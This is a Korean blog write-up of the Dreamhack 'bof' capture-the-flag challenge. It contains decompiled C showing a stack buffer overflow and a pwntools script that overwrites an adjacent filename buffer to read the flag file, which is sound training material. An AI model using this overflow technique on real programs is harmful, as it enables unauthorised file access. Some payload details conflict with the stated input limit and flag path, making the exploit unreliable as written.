보안/System Hacking

[Dreamhack] bof

melonbbang-ruffy 2025. 1. 12. 13:15

오랜만에 포너블 문제를 풀어보았다.

https://dreamhack.io/wargame/challenges/1111

 

bof

Description Buffer overflow is one of the basics of pwnable 🐱 The path of the flag file is /home/bof/flag.

dreamhack.io

버퍼 오버플로우 문제

파일을 다운받고 디렉토리 구조와 코드를 살펴보자.

문제 설명과 같이 보면 시스템 디렉토리의 flag 파일을 통해 플래그를 알아내야 하는 듯 하다.

코드에서 main 함수와 read_cat 함수를 살펴보자.

main

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4[128]; // [rsp+0h] [rbp-90h] BYREF
  char v5[16]; // [rsp+80h] [rbp-10h] BYREF

  Z5setupv();
  strcpy(v5, "./cat");
  printf("meow? ");
  __isoc99_scanf("%144s", v4);
  read_cat(v5);
  printf("meow, %s :)\n", v4);
  return 0;
}

./cat 파일로부터 데이터를 복사해서 v5 변수에 저장한 후, scanf로 사용자로부터 입력을 받고 있다.

입력받은 값은 v4 변수에 저장되며, ./cat 파일로부터 가져온 데이터는 read_cat 함수로 넘기고 있다.

v4변수와 v5변수는 주석에 나온 것을 토대로 분석해 보았을때 바로 인접한 위치에 있을 것이라고 추측할 수 있다.

그리고 사용자 입력값을 받을 때, 144바이트를 받고 있는데 사용자 입력값이 저장되는 변수 v4는 128바이트의 크기를 가지고 있다. 이는 버퍼 오버플로우 취약점이 존재할 수 있다는 걸 시사하는듯...

 

read_cat

int __fastcall read_cat(const char *a1)
{
  int result; // eax
  char s[128]; // [rsp+10h] [rbp-90h] BYREF
  ssize_t v3; // [rsp+90h] [rbp-10h]
  int fd; // [rsp+9Ch] [rbp-4h]

  memset(s, 0, sizeof(s));
  fd = 0;
  fd = open(a1, 0);
  if ( fd == -1 )
  {
    puts("open() error");
    exit(1);
  }
  v3 = read(fd, s, 0x80uLL);
  if ( v3 == -1 )
  {
    puts("read() error");
    exit(1);
  }
  puts(&byte_40201E);
  puts(s);
  result = close(fd);
  if ( result )
  {
    puts("close() error");
    exit(1);
  }
  return result;
}

 

main으로부터 받은 v5변수에 저장된 파일을 열어서 128바이트(0x80) 크기의 데이터를 가져와 s라는 변수에 저장하고 있다.

그리고 puts 함수를 통해 읽어온 데이터를 출력하고 있다. (puts(s))

 

 

 

Exploit

128바이트의 버퍼를 덮어쓴 후, v5의 데이터 변수를 덮어써서 플래그 파일을 호출하도록 하면 될 듯 하다.

스택 상에서 v4 변수 바로 뒤에 v5 변수(둘 다 지역변수)가 위치해 있을 것이라고 예측되므로, 이를 기반으로 128개의 문자를 입력하고 flag 파일을 불러오는 명령어를 그 뒤에 작성해보자.

- 접속 정보

from pwn import *

host = "host1.dreamhack.games"
port = 16219

payload = b"A" * 128               # 128개의 문자
payload += b"./flag\x00".ljust(16, b"B")  # v5의 변수를 ./flag 명령어로 덮어씌움
payload += b"C" * 8                

r = remote(host, port)
r.sendline(payload)
print(r.recvall())

우선 A 문자로 128바이트를 채운 후, v5를 덮어쓸 명령어 ./flag\x00(\x00을 붙이는 이유는 c언어 계열은 끝을 \x00로 구분하기 때문) 를 작성한다. 이때 ./flag\x00는 총 7바이트로, v5의 크기는 16바이트인데 남은 공간도 예기치 못한 오류를 방지하기 위해 정확히 16바이트 채워준다("B" * 16)

그 후, 스택에는 리턴 주소가 존재하는데 이번 문제에서는 리턴 주소를 변경할 필요는 없어 보이므로 마찬가지로 리턴 주소도 더미값으로(8바이트 만큼) 덮어씌어준다.

이제 익스플로잇을 보내면

플래그 출력